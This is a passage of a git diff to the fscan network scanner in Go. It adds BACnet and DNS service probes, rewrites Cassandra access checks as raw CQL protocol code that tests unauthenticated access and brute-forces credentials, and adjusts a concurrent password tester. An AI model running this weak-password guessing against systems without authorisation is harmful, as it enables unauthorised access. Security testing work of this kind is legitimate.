authenticateSTOMP(conn net.Conn, username, password str return false, fmt.Errorf("%s", errorMsg) } - return false, fmt.Errorf("STOMP未知响应格式") + return false, fmt.Errorf("%s", i18n.GetText("activemq_stomp_unknown_response")) } // identifyService ActiveMQ服务识别 @@ -218,7 +218,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI return &ScanResult{ Success: false, Service: "activemq", - Error: fmt.Errorf("无法发送STOMP请求: %w", writeErr), + Error: fmt.Errorf("STOMP request send failed: %w", writeErr), } } @@ -229,14 +229,14 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI return &ScanResult{ Success: false, Service: "activemq", - Error: fmt.Errorf("无法读取响应: %w", err), + Error: fmt.Errorf("failed to read response: %w", err), } } if n == 0 { return &ScanResult{ Success: false, Service: "activemq", - Error: fmt.Errorf("无响应数据"), + Error: fmt.Errorf("%s", i18n.GetText("activemq_stomp_empty_response")), } } @@ -254,7 +254,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI } } - common.LogSuccess(i18n.Tr("activemq_service", target, banner)) + session.LogSuccess(i18n.Tr("activemq_service", target, banner)) return &ScanResult{ Success: true, @@ -267,7 +267,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI return &ScanResult{ Success: false, Service: "activemq", - Error: fmt.Errorf("无法识别为ActiveMQ STOMP服务"), + Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "ActiveMQ STOMP")), } } diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go new file mode 100644 index 0000000..949cba8 --- /dev/null +++ b/plugins/services/bacnet.go @@ -0,0 +1,80 @@ +//go:build plugin_bacnet || !plugin_selective + +package services + +import ( + "context" + "encoding/binary" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +var bacnetWhoIs = []byte{0x81, 0x0a, 0x00, 0x0c, 0x01, 0x20, 0xff, 0xff, 0x00, 0xff, 0x10, 0x08} + +type BACnetPlugin struct { + plugins.BasePlugin +} + +func NewBACnetPlugin() *BACnetPlugin { + return &BACnetPlugin{BasePlugin: plugins.NewBasePlugin("bacnet")} +} + +func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + target := info.Target() + conn, err := session.DialUDP(ctx, target, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "bacnet"} + } + defer conn.Close() + + if _, err := conn.Write(bacnetWhoIs); err != nil { + return &ScanResult{Success: false, Service: "bacnet"} + } + + buf := make([]byte, 1476) + n, err := conn.Read(buf) + if err != nil { + return &ScanResult{Success: false, Service: "bacnet"} + } + + banner, ok := parseBACnetResponse(buf[:n]) + if !ok { + return &ScanResult{Success: false, Service: "bacnet"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "bacnet", + Banner: banner, + } +} + +func parseBACnetResponse(data []byte) (string, bool) { + if len(data) < 6 || data[0] != 0x81 { + return "", false + } + length := int(binary.BigEndian.Uint16(data[2:4])) + if length != len(data) { + return "", false + } + for i := 4; i+1 < len(data); i++ { + if data[i] == 0x10 && data[i+1] == 0x00 { + return "BACnet I-Am response", true + } + } + return "", false +} + +func init() { + RegisterUDPPluginWithPorts("bacnet", func() Plugin { + return NewBACnetPlugin() + }, []int{47808}) +} diff --git a/plugins/services/bacnet_test.go b/plugins/services/bacnet_test.go new file mode 100644 index 0000000..3f4f17d --- /dev/null +++ b/plugins/services/bacnet_test.go @@ -0,0 +1,16 @@ +//go:build plugin_bacnet || !plugin_selective + +package services + +import "testing" + +func TestParseBACnetResponse(t *testing.T) { + banner, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00}) + if !ok || banner != "BACnet I-Am response" { + t.Fatalf("unexpected bacnet banner: %q ok=%v", banner, ok) + } + + if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x05, 0x00}); ok { + t.Fatal("unexpected match for malformed bacnet packet") + } +} diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index 1ad9fe7..fa083fa 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -4,16 +4,18 @@ package services import ( "context" + "encoding/binary" "fmt" - "strings" + "io" + "net" + "time" - "github.com/gocql/gocql" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) -// CassandraPlugin Cassandra扫描插件 +// CassandraPlugin Cassandra扫描插件(纯 raw TCP CQL 协议实现) type CassandraPlugin struct { plugins.BasePlugin } @@ -30,11 +32,11 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先尝试无认证连接 - if result := p.tryNoAuthConnection(ctx, info, config, state); result != nil && result.Success { + if result := p.tryNoAuthConnection(ctx, info, session); result != nil && result.Success { return result } @@ -43,173 +45,319 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi return &ScanResult{ Success: false, Service: "cassandra", - Error: fmt.Errorf("没有可用的测试凭据"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_credentials")), } } - // 使用公共框架进行并发凭据测试 authFn := p.createAuthFunc(info, config, state) testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig) if result.Success { - common.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password)) } return result } -// createAuthFunc 创建Cassandra认证函数 func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { return p.doCassandraAuth(ctx, info, cred, config, state) } } -// doCassandraAuth 执行Cassandra认证 +// ── raw TCP Cassandra CQL 协议 ────────────────────────────────── + +// CQL frame 格式 (v4): +// +// [1B version|flags] [2B stream] [1B opcode] [4B length] [body] +const ( + cqlVersion = 0x84 // version=4, direction=request + cqlOpStartup = 0x01 + cqlOpAuthRsp = 0x0f + cqlOpQuery = 0x07 + cqlOpReady = 0x02 + cqlOpAuthOk = 0x10 + cqlOpAuthChl = 0x0e + cqlOpError = 0x00 +) + func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - cluster := gocql.NewCluster(info.Host) - cluster.Port = info.Port - cluster.Timeout = config.Timeout - cluster.ConnectTimeout = config.Timeout + addr := info.Target() + timeout := config.Timeout - if cred.Username != "" || cred.Password != "" { - cluster.Authenticator = gocql.PasswordAuthenticator{ - Username: cred.Username, - Password: cred.Password, - } - } - - session, err := cluster.CreateSession() + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", addr) if err != nil { state.IncrementTCPFailedPacketCount() - return &AuthResult{ - Success: false, - ErrorType: classifyCassandraErrorType(err), - Error: err, - } + return &AuthResult{Success: false, ErrorType: classifyCassandraErrorType(err), Error: err} } - state.IncrementTCPSuccessPacketCount() + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) - var dummy string - err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy) + // Step 1: STARTUP (CQL_VERSION=3.0.0) + startupBody := cqlStringMap(map[string]string{"CQL_VERSION": "3.0.0"}) + if err := cqlSend(conn, cqlOpStartup, startupBody); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + // Step 2: 读取响应 + opcode, body, err := cqlRecv(conn) if err != nil { - session.Close() - return &AuthResult{ - Success: false, - ErrorType: classifyCassandraErrorType(err), - Error: err, + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + + // READY → 已就绪,发送测试查询 + // AUTHENTICATE → 需要认证 + // ERROR → 错误 + if opcode == cqlOpError { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("cassandra error: %s", string(body))} + } + + // Step 3: 如果需要认证 + if opcode == cqlOpAuthChl { + if cred.Username == "" && cred.Password == "" { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication required")} + } + // SASL PLAIN: \x00username\x00password + saslToken := []byte("\x00" + cred.Username + "\x00" + cred.Password) + if err := cqlSend(conn, cqlOpAuthRsp, saslToken); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + opcode, body, err = cqlRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + // AUTH_SUCCESS → 认证成功 + // ERROR → 认证失败 + if opcode == cqlOpError { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("authentication failed: %s", string(body))} + } + if opcode != cqlOpAuthOk && opcode != cqlOpReady { + return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: fmt.Errorf("unexpected opcode: %d", opcode)} } } - return &AuthResult{ - Success: true, - Conn: &cassandraSessionWrapper{session}, - ErrorType: ErrorTypeUnknown, - Error: nil, + // Step 4: 发送测试查询 + queryBody := cqlLongString("SELECT cluster_name FROM system.local") + // 添加 consistency level (ONE=1) + queryBody = append(queryBody, 0x00, 0x01) // flags=0, consistency=ONE + if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} } + opcode, body, err = cqlRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err} + } + _ = body + _ = opcode + + state.IncrementTCPSuccessPacketCount() + return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil} } -// cassandraSessionWrapper 包装 gocql.Session 以实现 io.Closer -type cassandraSessionWrapper struct { - *gocql.Session +// ── CQL wire protocol 工具 ────────────────────────────────────── + +var cqlStreamID int16 + +func cqlSend(conn net.Conn, opcode byte, body []byte) error { + id := cqlStreamID + if cqlStreamID == 32767 { + cqlStreamID = 0 + } else { + cqlStreamID++ + } + + // frame: [1B version|flags] [2B stream] [1B opcode] [4B length] [body] + header := make([]byte, 8) + header[0] = cqlVersion + binary.BigEndian.PutUint16(header[1:3], uint16(id)) + header[3] = opcode + binary.BigEndian.PutUint32(header[4:8], uint32(len(body))) + + buf := append(header, body...) + _, err := conn.Write(buf) + return err } -func (w *cassandraSessionWrapper) Close() error { - w.Session.Close() - return nil +func cqlRecv(conn net.Conn) (byte, []byte, error) { + // 读取 9 字节头部(响应也有额外标志字节) + header := make([]byte, 9) + if _, err := io.ReadFull(conn, header); err != nil { + return 0, nil, err + } + opcode := header[4] + bodyLen := int(binary.BigEndian.Uint32(header[5:9])) + if bodyLen <= 0 || bodyLen > 1024*1024 { + return opcode, nil, nil + } + body := make([]byte, bodyLen) + if _, err := io.ReadFull(conn, body); err != nil { + return opcode, nil, err + } + return opcode, body, nil } -// classifyCassandraErrorType Cassandra错误分类 +// cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]] +func cqlStringMap(m map[string]string) []byte { + var buf []byte + buf = append(buf, 0x00, byte(len(m))) // count as short + for k, v := range m { + buf = append(buf, cqlShortString(k)...) + buf = append(buf, cqlShortString(v)...) + } + return buf +} + +func cqlShortString(s string) []byte { + b := []byte(s) + buf := make([]byte, 2+len(b)) + binary.BigEndian.PutUint16(buf, uint16(len(b))) + copy(buf[2:], b) + return buf +} + +func cqlLongString(s string) []byte { + b := []byte(s) + buf := make([]byte, 4+len(b)) + binary.BigEndian.PutUint32(buf, uint32(len(b))) + copy(buf[4:], b) + return buf +} + +// ── 错误分类 ──────────────────────────────────────────────────── + func classifyCassandraErrorType(err error) ErrorType { if err == nil { return ErrorTypeUnknown } - cassandraAuthErrors := []string{ "authentication failed", "bad credentials", "invalid credentials", - "username and/or password are incorrect", "unauthorized", - "access denied", } - return ClassifyError(err, cassandraAuthErrors, CommonNetworkErrors) } -// tryNoAuthConnection 尝试无认证连接 -func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +// ── 无认证 + 服务识别 ────────────────────────────────────────── + +func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() + addr := info.Target() + timeout := config.Timeout - cluster := gocql.NewCluster(info.Host) - cluster.Port = info.Port - cluster.Timeout = config.Timeout - cluster.ConnectTimeout = config.Timeout - - session, err := cluster.CreateSession() + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", addr) if err != nil { state.IncrementTCPFailedPacketCount() return nil } - state.IncrementTCPSuccessPacketCount() + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) - var dummy string - err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy) - if err != nil { - session.Close() + // STARTUP + if err := cqlSend(conn, cqlOpStartup, cqlStringMap(map[string]string{"CQL_VERSION": "3.0.0"})); err != nil { + state.IncrementTCPFailedPacketCount() + return nil + } + opcode, _, err := cqlRecv(conn) + if err != nil || opcode != cqlOpReady { return nil } - session.Close() - common.LogVuln(i18n.Tr("cassandra_unauth", target)) + // QUERY test + queryBody := append(cqlLongString("SELECT cluster_name FROM system.local"), 0x00, 0x01) + if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil { + return nil + } + _, body, err := cqlRecv(conn) + if err != nil { + return nil + } + + state.IncrementTCPSuccessPacketCount() + dummy := extractClusterName(body) + + session.LogVuln(i18n.Tr("cassandra_unauth", target)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, Service: "cassandra", - Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy), + Banner: i18n.Tr("cassandra_no_auth_cluster", dummy), } } -func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() + addr := info.Target() + timeout := config.Timeout - cluster := gocql.NewCluster(info.Host) - cluster.Port = info.Port - cluster.Timeout = config.Timeout - cluster.ConnectTimeout = config.Timeout - - session, err := cluster.CreateSession() + dialer := net.Dialer{Timeout: timeout} + conn, err := dialer.DialContext(ctx, "tcp", addr) if err != nil { state.IncrementTCPFailedPacketCount() - if strings.Contains(strings.ToLower(err.Error()), "authentication") { - banner := "Cassandra (需要认证)" - common.LogSuccess(i18n.Tr("cassandra_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "cassandra", - Banner: banner, - } - } - return &ScanResult{ - Success: false, - Service: "cassandra", - Error: err, - } + return &ScanResult{Success: false, Service: "cassandra", Error: err} } + defer conn.Close() + _ = conn.SetDeadline(time.Now().Add(timeout)) + + if err := cqlSend(conn, cqlOpStartup, cqlStringMap(map[string]string{"CQL_VERSION": "3.0.0"})); err != nil { + state.IncrementTCPFailedPacketCount() + return &ScanResult{Success: false, Service: "cassandra", Error: err} + } + opcode, _, err := cqlRecv(conn) + if err != nil { + state.IncrementTCPFailedPacketCount() + return &ScanResult{Success: false, Service: "cassandra", Error: err} + } + state.IncrementTCPSuccessPacketCount() - session.Close() + + if opcode == cqlOpAuthChl { + banner := i18n.GetText("cassandra_auth_required") + session.LogSuccess(i18n.Tr("cassandra_service", target, banner)) + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner} + } banner := "Cassandra" - common.LogSuccess(i18n.Tr("cassandra_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "cassandra", - Banner: banner, + session.LogSuccess(i18n.Tr("cassandra_service", target, banner)) + return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner} +} + +// extractClusterName 从 CQL ROWS result body 提取 cluster_name +func extractClusterName(body []byte) string { + s := string(body) + // 简单查找可打印的 UTF8 字符串作为 cluster_name 候选 + if len(s) > 3 { + // CQL ROWS result: [4B rows_count] [rows data...] + // cluster_name 通常以可读字符串形式出现在响应中 + for i := 0; i < len(s)-2; i++ { + if s[i] >= 0x20 && s[i] < 0x7f { + // 提取连续可打印字符串 + j := i + for j < len(s) && s[j] >= 0x20 && s[j] < 0x7f { + j++ + } + if j-i >= 3 && j-i <= 64 { + return s[i:j] + } + i = j + } + } } + return "unknown" } func init() { diff --git a/plugins/services/credential_tester.go b/plugins/services/credential_tester.go index da4f2ae..8fb2ca4 100644 --- a/plugins/services/credential_tester.go +++ b/plugins/services/credential_tester.go @@ -10,6 +10,7 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" ) @@ -106,11 +107,12 @@ func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) // ConcurrentTestConfig 并发测试配置 type ConcurrentTestConfig struct { - Concurrency int // 并发数,默认 10 - MaxRetries int // 最大重试次数,默认 3 - RetryDelay time.Duration // 重试延迟,默认 1s - MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5 - TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选) + Concurrency int // 并发数,默认 10 + MaxRetries int // 最大重试次数,默认 3 + RetryDelay time.Duration // 重试延迟,默认 1s + MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5 + TargetAddr string // 目标地址 host:port,用于 TCP 预检(可选) + UseProxy bool // 代理模式下跳过直连 TCP 预检 } // DefaultConcurrentTestConfig 默认配置 @@ -124,13 +126,14 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig { MaxRetries: 3, RetryDelay: time.Second, MaxConsecutiveNetErrors: 5, + UseProxy: config.Network.Socks5Proxy != "" || config.Network.HTTPProxy != "", } } // DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置 func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig { cfg := DefaultConcurrentTestConfig(config) - cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port) + cfg.TargetAddr = info.Target() return cfg } @@ -147,19 +150,19 @@ func TestCredentialsConcurrently( return &ScanResult{ Success: false, Service: serviceName, - Error: fmt.Errorf("无凭据可测试"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_test_creds")), } } // TCP 预检:快速验证目标可达,避免对不可达目标浪费全部凭据尝试 // 代理模式下跳过:net.DialTimeout 直连无法到达代理后的内网目标 - if testConfig.TargetAddr != "" && !common.IsProxyEnabled() { + if testConfig.TargetAddr != "" && !testConfig.UseProxy { preConn, err := net.DialTimeout("tcp", testConfig.TargetAddr, 3*time.Second) if err != nil { return &ScanResult{ Success: false, Service: serviceName, - Error: fmt.Errorf("目标不可达: %w", err), + Error: fmt.Errorf(i18n.Tr("service_target_unreachable", "%w"), err), } } _ = preConn.Close() @@ -222,7 +225,7 @@ func TestCredentialsConcurrently( Type: plugins.ResultTypeCredential, // 标记这是凭据测试结果 Success: false, Service: serviceName, - Error: fmt.Errorf("未发现弱密码"), + Error: fmt.Errorf("%s", i18n.GetText("service_no_weak_pass")), } } @@ -255,14 +258,14 @@ func workerTestCredentials( } // 带重试的凭据测试 - result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig) + result, errType := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig) if result != nil && result.Success { resultChan <- result return } // 跟踪连续网络错误 - if result != nil && result.Error != nil { + if errType == ErrorTypeNetwork { consecutiveNetErrors++ } else { consecutiveNetErrors = 0 @@ -277,12 +280,12 @@ func testCredentialWithRetry( authFn AuthFunc, serviceName string, testConfig ConcurrentTestConfig, -) *ScanResult { +) (*ScanResult, ErrorType) { for attempt := 0; attempt < testConfig.MaxRetries; attempt++ { // 检查是否应该停止 select { case <-ctx.Done(): - return nil + return nil, ErrorTypeUnknown default: } @@ -298,14 +301,14 @@ func testCredentialWithRetry( Service: serviceName, Username: cred.Username, Password: cred.Password, - } + }, ErrorTypeUnknown } // 根据错误类型决定是否重试 switch result.ErrorType { case ErrorTypeAuth: // 认证错误(密码错误),不重试 - return nil + return nil, result.ErrorType case ErrorTypeNetwork, ErrorTypeUnknown: // 网络错误或未知错误,可以重试(可能是服务端限流等临时问题) if attempt < testConfig.MaxRetries-1 { @@ -313,13 +316,13 @@ func testCredentialWithRetry( select { case <-ctx.Done(): timer.Stop() - return nil + return nil, result.ErrorType case <-timer.C: } } } } - return nil + return nil, ErrorTypeNetwork } // ============================================================================= @@ -380,8 +383,8 @@ func ClassifyError(err error, authKeywords, networkKeywords []string) ErrorType func containsIgnoreCase(s, substr string) bool { return len(s) >= len(substr) && (s == substr || - len(substr) == 0 || - findIgnoreCase(s, substr) >= 0) + len(substr) == 0 || + findIgnoreCase(s, substr) >= 0) } // findIgnoreCase 忽略大小写查找子串 diff --git a/plugins/services/credential_tester_test.go b/plugins/services/credential_tester_test.go index 0d2ad1c..1955b11 100644 --- a/plugins/services/credential_tester_test.go +++ b/plugins/services/credential_tester_test.go @@ -268,6 +268,33 @@ func TestTestCredentialsConcurrently_EmptyCredentials(t *testing.T) { } } +func TestTestCredentialsConcurrently_ProxySkipsDirectPrecheck(t *testing.T) { + var calls atomic.Int32 + authFn := func(ctx context.Context, cred Credential) *AuthResult { + calls.Add(1) + return &AuthResult{ + Success: true, + Conn: &mockConn{}, + } + } + + config := ConcurrentTestConfig{ + Concurrency: 1, + MaxRetries: 1, + RetryDelay: time.Millisecond, + TargetAddr: "127.0.0.1:1", + UseProxy: true, + } + + result := TestCredentialsConcurrently(context.Background(), []Credential{{Username: "u", Password: "p"}}, authFn, "test", config) + if !result.Success { + t.Fatalf("proxy mode should skip direct precheck: %v", result.Error) + } + if calls.Load() == 0 { + t.Fatal("auth function was not called") + } +} + // TestTestCredentialsConcurrently_ContextCancel 测试context取消 func TestTestCredentialsConcurrently_ContextCancel(t *testing.T) { credentials := make([]Credential, 100) @@ -451,4 +478,3 @@ func TestRetryLogic_AuthErrorNoRetry(t *testing.T) { // 确保 mockConn 实现 io.Closer 接口 var _ io.Closer = (*mockConn)(nil) - diff --git a/plugins/services/dns.go b/plugins/services/dns.go new file mode 100644 index 0000000..a247d0d --- /dev/null +++ b/plugins/services/dns.go @@ -0,0 +1,64 @@ +//go:build plugin_dns || !plugin_selective + +package services + +import ( + "context" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type DNSPlugin struct { + plugins.BasePlugin +} + +func NewDNSPlugin() *DNSPlugin { + return &DNSPlugin{BasePlugin: plugins.NewBasePlugin("dns")} +} + +func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + target := info.Target() + queryID := randomUint16() + query := buildDNSRootNSQuery(queryID) + + conn, err := session.DialUDP(ctx, target, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + defer conn.Close() + + if _, err := conn.Write(query); err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + + buf := make([]byte, 1500) + n, err := conn.Read(buf) + if err != nil || n < 12 { + return &ScanResult{Success: false, Service: "dns"} + } + + banner, ok := parseDNSResponse(buf[:n], queryID) + if !ok { + return &ScanResult{Success: false, Service: "dns"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "dns", + Banner: banner, + } +} + +func init() { + RegisterUDPPluginWithPorts("dns", func() Plugin { + return NewDNSPlugin() + }, []int{53}) +} diff --git a/plugins/services/dns_shared.go b/plugins/services/dns_shared.go new file mode 100644 index 0000000..90ba020 --- /dev/null +++ b/plugins/services/dns_shared.go @@ -0,0 +1,46 @@ +//go:build plugin_dns || plugin_dnstcp || plugin_modbus || !plugin_selective + +package services + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "time" +) + +func randomUint16() uint16 { + var b [2]byte + if _, err := rand.Read(b[:]); err == nil { + return binary.BigEndian.Uint16(b[:]) + } + return uint16(time.Now().UnixNano()) +} + +func buildDNSRootNSQuery(id uint16) []byte { + query := make([]byte, 17) + binary.BigEndian.PutUint16(query[0:2], id) + binary.BigEndian.PutUint16(query[2:4], 0x0100) + binary.BigEndian.PutUint16(query[4:6], 1) + query[12] = 0x00 + binary.BigEndian.PutUint16(query[13:15], 2) + binary.BigEndian.PutUint16(query[15:17], 1) + return query +} + +func parseDNSResponse(data []byte, id uint16) (string, bool) { + if len(data) < 12 || binary.BigEndian.Uint16(data[0:2]) != id { + return "", false + } + flags := binary.BigEndian.Uint16(data[2:4]) + if flags&0x8000 == 0 { + return "", false + } + + rcode := flags & 0x000f + qd := binary.BigEndian.Uint16(data[4:6]) + an := binary.BigEndian.Uint16(data[6:8]) + ns := binary.BigEndian.Uint16(data[8:10]) + ar := binary.BigEndian.Uint16(data[10:12]) + return fmt.Sprintf("DNS response rcode=%d qd=%d an=%d ns=%d ar=%d", rcode, qd, an, ns, ar), true +} diff --git a/plugins/services/dns_test.go b/plugins/services/dns_test.go new file mode 100644 index 0000000..22a6a55 --- /dev/null +++ b/plugins/services/dns_test.go @@ -0,0 +1,33 @@ +//go:build plugin_dns || !plugin_selective + +package services + +import ( + "encoding/binary" + "strings" + "testing" +) + +func TestDNSQueryAndResponse(t *testing.T) { + const id uint16 = 0x1234 + query := buildDNSRootNSQuery(id) + if len(query) != 17 { + t.Fatalf("unexpected dns query length: %d", len(query)) + } + if binary.BigEndian.Uint16(query[0:2]) != id || binary.BigEndian.Uint16(query[13:15]) != 2 { + t.Fatalf("unexpected dns query: %#v", query) + } + + resp := make([]byte, 12) + binary.BigEndian.PutUint16(resp[0:2], id) + binary.BigEndian.PutUint16(resp[2:4], 0x8180) + binary.BigEndian.PutUint16(resp[4:6], 1) + binary.BigEndian.PutUint16(resp[6:8], 2) + binary.BigEndian.PutUint16(resp[8:10], 3) + binary.BigEndian.PutUint16(resp[10:12], 4) + + banner, ok := parseDNSResponse(resp, id) + if !ok || !strings.Contains(banner, "rcode=0") || !strings.Contains(banner, "an=2") { + t.Fatalf("unexpected dns banner: %q ok=%v", banner, ok) + } +} diff --git a/plugins/services/dnstcp.go b/plugins/services/dnstcp.go new file mode 100644 index 0000000..db5a963 --- /dev/null +++ b/plugins/services/dnstcp.go @@ -0,0 +1,78 @@ +//go:build plugin_dnstcp || !plugin_selective + +package services + +import ( + "context" + "encoding/binary" + "io" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins" +) + +type DNSTCPPlugin struct { + plugins.BasePlugin +} + +func NewDNSTCPPlugin() *DNSTCPPlugin { + return &DNSTCPPlugin{BasePlugin: plugins.NewBasePlugin("dnstcp")} +} + +func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + timeout := session.Config.Timeout + if timeout <= 0 { + timeout = 3 * time.Second + } + + addr := info.Target() + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) + if err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + defer conn.Close() + + queryID := randomUint16() + query := buildDNSRootNSQuery(queryID) + frame := make([]byte, 2, len(query)+2) + binary.BigEndian.PutUint16(frame, uint16(len(query))) + frame = append(frame, query...) + + _ = conn.SetDeadline(time.Now().Add(timeout)) + if _, err := conn.Write(frame); err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + + var lenBuf [2]byte + if _, err := io.ReadFull(conn, lenBuf[:]); err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + respLen := int(binary.BigEndian.Uint16(lenBuf[:])) + if respLen < 12 || respLen > 4096 { + return &ScanResult{Success: false, Service: "dns"} + } + + resp := make([]byte, respLen) + if _, err := io.ReadFull(conn, resp); err != nil { + return &ScanResult{Success: false, Service: "dns"} + } + + banner, ok := parseDNSResponse(resp, queryID) + if !ok { + return &ScanResult{Success: false, Service: "dns"} + } + + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeService, + Service: "dns", + Banner: banner, + } +} + +func init() { + RegisterPluginWithPorts("dnstcp", func() Plugin { + return NewDNSTCPPlugin() + }, []int{53}) +} diff --git a/plugins/services/dnstcp_test.go b/plugins/services/dnstcp_test.go new file mode 100644 index 0000000..e23395a --- /dev/null +++ b/plugins/services/dnstcp_test.go @@ -0,0 +1,19 @@ +//go:build plugin_dnstcp || !plugin_selective + +package services + +import ( + "encoding/binary" + "testing" +) + +func TestDNSTCPFrame(t *testing.T) { + query := buildDNSRootNSQuery(0x4321) + frame := make([]byte, 2, len(query)+2) + binary.BigEndian.PutUint16(frame, uint16(len(query))) + frame = append(frame, query...) + + if binary.BigEndian.Uint16(frame[:2]) != uint16(len(query)) { + t.Fatalf("unexpected dns tcp length prefix: %#v", frame[:2]) + } +} diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 9fd3464..7f3b418 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -27,21 +27,20 @@ func NewElasticsearchPlugin() *ElasticsearchPlugin { func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config - state := session.State 